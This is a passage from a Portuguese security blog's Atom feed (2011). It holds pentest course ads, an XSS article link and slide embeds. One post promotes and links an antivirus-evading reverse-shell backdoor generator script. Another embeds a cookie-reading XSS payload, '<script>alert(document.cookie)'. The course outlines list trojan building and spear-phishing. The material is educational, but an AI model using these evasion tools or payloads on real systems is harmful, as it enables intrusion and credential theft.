Proteções&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Técnicas de Força Bruta e como definir boas políticas de senha&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Vulnerabilidades em aplicações web&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Técnicas de Sniffing&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ataques a Servidores WEB&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ataques a Redes Wireless&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Metasploit&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;&lt;br /&gt;Quem tiver interesse no curso, por favor, acesse o link &lt;a href="http://migre.me/5nagH"&gt;http://migre.me/5nagH&lt;/a&gt; e faça sua inscrição no curso "Teste de Invasão em Redes" que em breve enviarei um e-mail para o pgto via PagSeguro. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Carga horária: &lt;/b&gt;32h&lt;br /&gt;&lt;b&gt;Investimento:&lt;/b&gt; R$ 990,00 (com possibilidade de parcelamento em até 12x no cartão de crédito)&lt;br /&gt;&lt;b&gt;Horário de aula: &lt;/b&gt;21h às 23h&lt;br /&gt;&lt;b&gt;Dias de aula: &lt;/b&gt;seg., ter., qua. e qui.&lt;br /&gt;&lt;b&gt;Início das aulas: &lt;/b&gt;13/02/2012 (com intervalo na semana do carnaval)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #cc0000;"&gt;Observação 1&lt;/span&gt;&lt;/b&gt;: após inscrever-se e receber o link de pgto via pagseguro, o aluno terá uma semana para realizar o pagamento. Após esse período, caso o pagamento não tenha sido realizado, sua inscrição será cancelada.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: red;"&gt;Observação 2&lt;/span&gt;&lt;/b&gt;: para inscrições após o dia 25/01/2012, o valor do curso muda para R$ 1.090,00.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-7101914567944451174?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/7101914567944451174/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/12/curso-teste-de-invasao-em-redes-ead.html#comment-form' title='12 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7101914567944451174'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7101914567944451174'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/12/curso-teste-de-invasao-em-redes-ead.html' title='Curso Teste de Invasão em Redes - EaD'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-1353773784421388943</id><published>2011-12-11T18:47:00.000-02:00</published><updated>2011-12-12T10:25:03.371-02:00</updated><title type='text'>Artigo sobre XSS</title><content type='html'>&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;Caros, tenho um artigo escrito em 2008 que até hoje ainda é atual e utilizamos essas técnicas para ataques e testes de invasão em aplicações web. É um artigo básico e introdutório, e por isso mesmo recomendado para quem quer entender um pouco mais sobre XSS.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;Aí vem aquela pergunta: mas Luiz, prq não posta no seu blog? Simplesmente porque o blogspot é vulnerável à XSS ;-) e desde 2008 tento publicar aqui e o código postado é executado. E como não quero quebrar a integridade dos código utilizados, preferi postar apenas o link para o acesso ao mesmo, já que o publiquei em outro site em 2008.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;Para quem tiver interesse, basta &lt;a href="http://imasters.com.br/artigo/9879/seguranca/xss-cross-site-scripting" target="_blank"&gt;clicar aqui para acessar o artigo&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;Espero que gostem e sirva como base para estudar outros ataques e vulnerabilidades.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;Aproveitando: quem já fez curso de pentest comigo deve lembrar-se que uso meu próprio blog como alvo de ataque XSS para mostrar como funciona a vulnerabilidade hehehe.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 12pt; line-height: 115%;"&gt;Abraço!&lt;br /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-1353773784421388943?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/1353773784421388943/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2009/04/artigo-sobre-xss.html#comment-form' title='6 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1353773784421388943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1353773784421388943'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2009/04/artigo-sobre-xss.html' title='Artigo sobre XSS'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-1116475653520003780</id><published>2011-12-11T18:23:00.001-02:00</published><updated>2011-12-11T18:38:29.050-02:00</updated><title type='text'>Gerador de backdoor indetectável</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-rTQ_zksUkkw/TuTH_yCB0uI/AAAAAAAAD7k/o9nRFc-ocIU/s1600/image.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="223" src="http://2.bp.blogspot.com/-rTQ_zksUkkw/TuTH_yCB0uI/AAAAAAAAD7k/o9nRFc-ocIU/s400/image.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;O pessoal do &lt;a href="http://www.securitylabs.in/" target="_blank"&gt;Security Labs&lt;/a&gt; desenvolveu um script bem interessante pronto para rodar no Backtrack.&lt;br /&gt;&lt;br /&gt;O mais interessante, é que as técnicas de evasão aplicadas por tal script, funcionam não apenas em antivírus, mas também em Firewalls e Sistemas de Detecção de Intrusão (IDS).&lt;br /&gt;&lt;br /&gt;É interessante dar uma olhada para ver quantos antivírus o script conseguiu burlar: &lt;a href="http://virusscan.jotti.org/en/scanresult/a974be8a357cf4f13df8e94ca89ee4ecb89fb1da" target="_blank"&gt;http://virusscan.jotti.org/en/scanresult/a974be8a357cf4f13df8e94ca89ee4ecb89fb1da&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Para compilar e gerar o payload malicioso e aplicar o script para torná-lo indectável, é necessário ter alguns pacotes instalados previamente. Para tanto, basta executar o seguinte comando:&lt;br /&gt;&lt;br /&gt;# apt-get install mingw32-runtime mingw-w64 mingw gcc-mingw32 mingw32-binutils&lt;br /&gt;&lt;br /&gt;Com os pacotes instalados, precisamo copiar o script baixado para o diretório do Metasploit e executá-lo (/pentest/exploits/framework).&lt;br /&gt;&lt;br /&gt;O que é preciso prestar atenção, é que esse script por padrão gera um payload de conexão reversa via TCP, mas isso pode ser alterado editando o script e alterando algumas opções. Para quem já conhece o funcionamento do MSFpayload isso é bem tranquilo ;-)&lt;br /&gt;&lt;br /&gt;Para baixar o script, basta &lt;a href="http://localhostr.com/download/p4SrRVe/vanish.sh" target="_blank"&gt;clicar aqui&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-1116475653520003780?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/1116475653520003780/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/12/gerador-de-backdoor-indetectavel.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1116475653520003780'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1116475653520003780'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/12/gerador-de-backdoor-indetectavel.html' title='Gerador de backdoor indetectável'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-rTQ_zksUkkw/TuTH_yCB0uI/AAAAAAAAD7k/o9nRFc-ocIU/s72-c/image.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-1315988540728738306</id><published>2011-12-04T11:27:00.001-02:00</published><updated>2011-12-06T22:33:10.382-02:00</updated><title type='text'>Slides da palestra no Hack'n Rio: How Stuff Works - Exploits</title><content type='html'>&lt;br /&gt;&lt;div id="__ss_10455034" style="width: 425px;"&gt;&lt;b style="display: block; margin: 12px 0 4px;"&gt;&lt;a href="http://www.slideshare.net/luizvieira/how-stuff-works-10455034" title="How stuff works"&gt;How stuff works&lt;/a&gt;&lt;/b&gt;&lt;object height="355" id="__sse10455034" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=howstuffworks-111204072351-phpapp01&amp;amp;stripped_title=how-stuff-works-10455034&amp;amp;userName=luizvieira" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;param name="wmode" value="transparent"/&gt;&lt;embed name="__sse10455034" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=howstuffworks-111204072351-phpapp01&amp;amp;stripped_title=how-stuff-works-10455034&amp;amp;userName=luizvieira" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;div style="padding: 5px 0 12px;"&gt;View more &lt;a href="http://www.slideshare.net/"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/luizvieira"&gt;Luiz Vieira&lt;/a&gt;.&lt;br /&gt;&lt;span lang="EN-US" style="font-family: &amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12pt; line-height: 150%;"&gt;&lt;script&gt;alert(document.cookie)&lt;script&gt;&lt;/span&gt; &lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-1315988540728738306?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/1315988540728738306/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/12/slides-da-palestra-no-hackn-rio-how.html#comment-form' title='2 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1315988540728738306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1315988540728738306'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/12/slides-da-palestra-no-hackn-rio-how.html' title='Slides da palestra no Hack&apos;n Rio: How Stuff Works - Exploits'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-1266266732633759968</id><published>2011-11-20T07:31:00.001-02:00</published><updated>2011-11-20T07:34:09.804-02:00</updated><title type='text'>Slides da palestra Auditoria em Sistemas Linux - LinuxCon</title><content type='html'>&lt;div id="__ss_10239355" style="width: 425px;"&gt; &lt;strong style="display: block; margin: 12px 0 4px;"&gt;&lt;a href="http://www.slideshare.net/luizvieira/auditoria-em-sistemas-linux-linuxcon-brazil-2011" target="_blank" title="Auditoria em sistemas linux - LinuxCon Brazil 2011"&gt;Auditoria em sistemas linux - LinuxCon Brazil 2011&lt;/a&gt;&lt;/strong&gt; &lt;iframe frameborder="0" height="355" marginheight="0" marginwidth="0" scrolling="no" src="http://www.slideshare.net/slideshow/embed_code/10239355" width="425"&gt;&lt;/iframe&gt; &lt;div style="padding: 5px 0 12px;"&gt; View more &lt;a href="http://www.slideshare.net/" target="_blank"&gt;presentations&lt;/a&gt; from &lt;a href="http://www.slideshare.net/luizvieira" target="_blank"&gt;luizvieira&lt;/a&gt; &lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-1266266732633759968?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/1266266732633759968/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/11/slides-da-palestra-auditoria-em.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1266266732633759968'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/1266266732633759968'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/11/slides-da-palestra-auditoria-em.html' title='Slides da palestra Auditoria em Sistemas Linux - LinuxCon'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-7947940442513753215</id><published>2011-11-20T07:26:00.000-02:00</published><updated>2011-11-20T07:26:55.111-02:00</updated><title type='text'>Slides da palestra Teste de Invasão com Ferramentas Livres - LinuxCon</title><content type='html'>&lt;iframe frameborder="0" height="400" src="http://prezi.com/embed/yzuzxmljulz3/?bgcolor=ffffff&amp;amp;lock_to_path=0&amp;amp;autoplay=no&amp;amp;autohide_ctrls=0" width="550"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-7947940442513753215?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/7947940442513753215/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/11/slides-da-palestra-teste-de-invasao-com.html#comment-form' title='4 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7947940442513753215'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/7947940442513753215'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/11/slides-da-palestra-teste-de-invasao-com.html' title='Slides da palestra Teste de Invasão com Ferramentas Livres - LinuxCon'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-6848653699248741575</id><published>2011-11-01T20:18:00.000-02:00</published><updated>2011-11-04T13:33:49.069-02:00</updated><title type='text'>Curso de Pentest com Metasploit Framework - EaD</title><content type='html'>Caros,&lt;br /&gt;&lt;br /&gt;Gostaria de anunciar o curso "&lt;b&gt;Pentest com Metasploit Framework&lt;/b&gt;", na modalidade EaD.&lt;br /&gt;&lt;br /&gt;O curso ocorrerá na seguintes datas (sextas-feiras), das 21h à 00h, através da modaliade EaD:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;09/12&lt;/li&gt;&lt;li&gt;16/12&lt;/li&gt;&lt;li&gt;13/01&lt;/li&gt;&lt;li&gt;20/01&lt;/li&gt;&lt;li&gt;27/01&lt;/li&gt;&lt;li&gt;03/02&lt;/li&gt;&lt;li&gt;10/02&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;O aluno terá contato direto com o instrutor através de uma plataforma de conferência on-line, com slides, voz, e desktop sharing.&lt;br /&gt;&lt;br /&gt;O valor do curso é de R$ 690,00,00 e a carga horária é de 21h completamente hands-on.&lt;br /&gt;&lt;br /&gt;Segue abaixo o cronograma do curso:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Metasploit Basics&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Terminologia&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Interfaces&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Utilitários&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Aquisição de Informações&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Trabalhando com BDs&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Varreduras Diversas&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Vulnerabilidades&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Metasploit + Nessus&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Varreduras Especiais&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Usando o Autopwn&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Exploração&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Exploração Básica&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Brute Force&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Automatizando comandos (resource files)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Meterpreter&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Comandos Básicos&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Extraindo logins e passwords&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Escalada de Privilégios&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Pivoting&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Scripts do Meterpreter&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Fazendo upgrade do shell obtido&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Railgun&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;b&gt;Burlando Sistemas de Detecção&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Criando binários maliciosos com MSFpayload&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Burlando Anti-vírus&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Utilizando padrões conhecidos&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Criando Trojans&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Empacotando com UPX&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Client-Side Attacks&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Exploits baseados em Browsers&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Exploits em arquivos&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;b&gt;Módulos Auxiliares&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Utilizando os módulos&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Entendendo o funcionamento dos módulos auxiliares&lt;br /&gt;&lt;br /&gt;&lt;b&gt;SET: Social Engineer Toolkit&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Configurando o SET&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ataque Spear-Phishing&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ataques com vetor na WEB&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Infectious Media Generator&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;b&gt;Fast-track&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Automatizando ataques de SQL Injection&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Binary-to-Hex Generator&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Ataques em massa&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Karmetasploit&lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Configuração&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Execução de um ataque&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Conquistando uma shell&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;O pagamento será feito via pagseguro e poderá ser parcelado no cartão de crédito.&lt;br /&gt;&lt;br /&gt;Quem tiver interesse no curso, por favor, acesse o link &lt;a href="http://migre.me/5nagH"&gt;http://migre.me/5nagH&lt;/a&gt; e faça sua inscrição no curso "Pentest com Metasploit Framework" que em breve enviarei um e-mail para o pgto via PagSeguro.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Pré-requisitos&lt;/b&gt;:&lt;br /&gt; - experiência em utilização e instalação de programas em Linux;&lt;br /&gt;- conhecimento em segurança da informação;&lt;br /&gt;- conhecimento dos conceitos básicos do que é um teste de invasão e sua realização;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Material liberado para os alunos&lt;/b&gt;:&lt;br /&gt;- log do chat de cada aula;&lt;br /&gt;- áudio de cada aula;&lt;br /&gt;- vídeo de cada aula, com a tela do instrutor gravada;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3466062841868611806-6848653699248741575?l=hackproofing.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackproofing.blogspot.com/feeds/6848653699248741575/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://hackproofing.blogspot.com/2011/11/curso-de-pentest-com-metasploit.html#comment-form' title='17 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6848653699248741575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3466062841868611806/posts/default/6848653699248741575'/><link rel='alternate' type='text/html' href='http://hackproofing.blogspot.com/2011/11/curso-de-pentest-com-metasploit.html' title='Curso de Pentest com Metasploit Framework - EaD'/><author><name>Luiz Vieira .'.</name><uri>http://www.blogger.com/profile/01939912130155752340</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/-MxoYc5Qr74k/Tb7eAt5TTzI/AAAAAAAAAOk/RbXRRmCxDsk/s220/luiz.jpg'/></author><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3466062841868611806.post-5339760717326127384</id><published>2011-10-23T09:03:00.002-02:00</published><updated>2011-10-23T09:03:38.911-02:00</updated><title type='text'>Mais uma lista de livros para segurança</title><content type='html'>Caros, segue abaixo mais uma lista de livros de segurança que classifico como muito importantes para quem se interessa por segurança, sei que alguns se repetirão, se comparado à minha última listagem, mas nunca é demais frisar que alguns livros são tão importantes a ponto de serem citados novamente hehehe.&lt;br /&gt;Essa lista, foi compilada a partir de indicações de profissionais e pesquisadores como Dino Dai Zovi e Thomas Ptacek.&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Hacking-Art-Exploitation-Jon-Erickson/dp/1593271441/ref=cm_lmf_tit_1"&gt;Hacking: The Art of Exploitation, 2nd Edition&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Jon Erickson&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Art-Software-Security-Testing-Identifying/dp/0321304861/ref=cm_lmf_tit_2"&gt;The Art of Software Security Testing: Identifying Software Security Flaws&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Elfriede Dustin&lt;/span&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Mac-Hackers-Handbook-Charles-Miller/dp/0470395362/ref=cm_lmf_tit_3"&gt;The Mac Hacker's Handbook&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Dino Dai Zovi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Programming-Language-2nd-Brian-Kernighan/dp/0131103628/ref=cm_lmf_tit_4"&gt;C Programming Language (2nd Edition)&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Brian W. Kernighan&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Expert-Programming-Peter-van-Linden/dp/0131774298/ref=cm_lmf_tit_5"&gt;Expert C Programming&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Peter van der Linden&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Fuzzing-Brute-Force-Vulnerability-Discovery/dp/0321446119/ref=cm_lmf_tit_6"&gt;Fuzzing: Brute Force Vulnerability Discovery&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Michael Sutton&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span id="lm_asinlink95" style="line-height: 14px;"&gt;&lt;strong&gt;&lt;a href="http://www.amazon.com/Fuzzing-Software-Security-Assurance-Information/dp/1596932147/ref=cm_lmf_tit_7"&gt;Fuzzing for Software Security Testing and Quality Assurance (Artech House Information Security and Privacy)&lt;/a&gt;&lt;/strong&gt;&amp;nbsp;by Ari Takanen&lt;/span&gt;&lt;br /&gt;&lt;br 